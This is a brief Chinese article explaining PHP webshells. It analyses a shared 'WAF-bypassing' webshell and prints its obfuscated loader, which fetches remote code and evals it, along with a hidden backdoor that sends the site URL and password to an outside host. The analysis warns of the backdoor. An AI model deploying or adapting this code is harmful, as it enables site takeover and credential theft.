php大马指的是什么
大马:指木马病毒;php大马,就是php写的提取站点权限的程序;因为带有提权或者修改站点功能,所以称为叫木马。
有人分享了一个php大马(说是过waf),八成有后门,简单分析了一次
<?php $password='Shiqi';//登录密码(支持菜刀)//----------功能程序------------------//$c="chr";session_start();if(empty($_SESSION['PhpCode'])){$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);$get=chr(102).chr(105).chr(108).chr(101).chr(95);$get.=chr(103).chr(101).chr(116).chr(95).chr(99);$get.=chr(111).chr(110).chr(116).chr(101).chr(110);$get.=chr(116).chr(115);$_SESSION['PhpCode']=$get($url);}$un=$c(103).$c(122).$c(105).$c(110);$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx'));@eval($un($_SESSION['PhpCode']));?>
一共有三个变量,$url、$get、$un,首先对着几个变量ascii转成字符串,看看是什么,用echo输出即可。
就是个简单的基于base64加gzinflate加密
后门部分:
if(isset($_GET['login'])=='geturl'){ @set_time_limit(10); $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; $serverp = envlpass; $copyurl = base64_decode('SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0='); $url=$copyurl.$serveru.'&pass='.$serverp; $url=urldecode($url); GetHtml($url);}function geturl(){ @set_time_limit(10); $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; $serverp = envlpass; $copyurl = base64_decode(''); $url=$copyurl.$serveru.'&p='.$serverp; $url=urldecode($url); GetHtml($url);}
以上就是php大马是什么的详细内容,更多请关注亿速云其它相关文章!
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若本站内容侵犯了原著者的合法权益,可联系本站删除。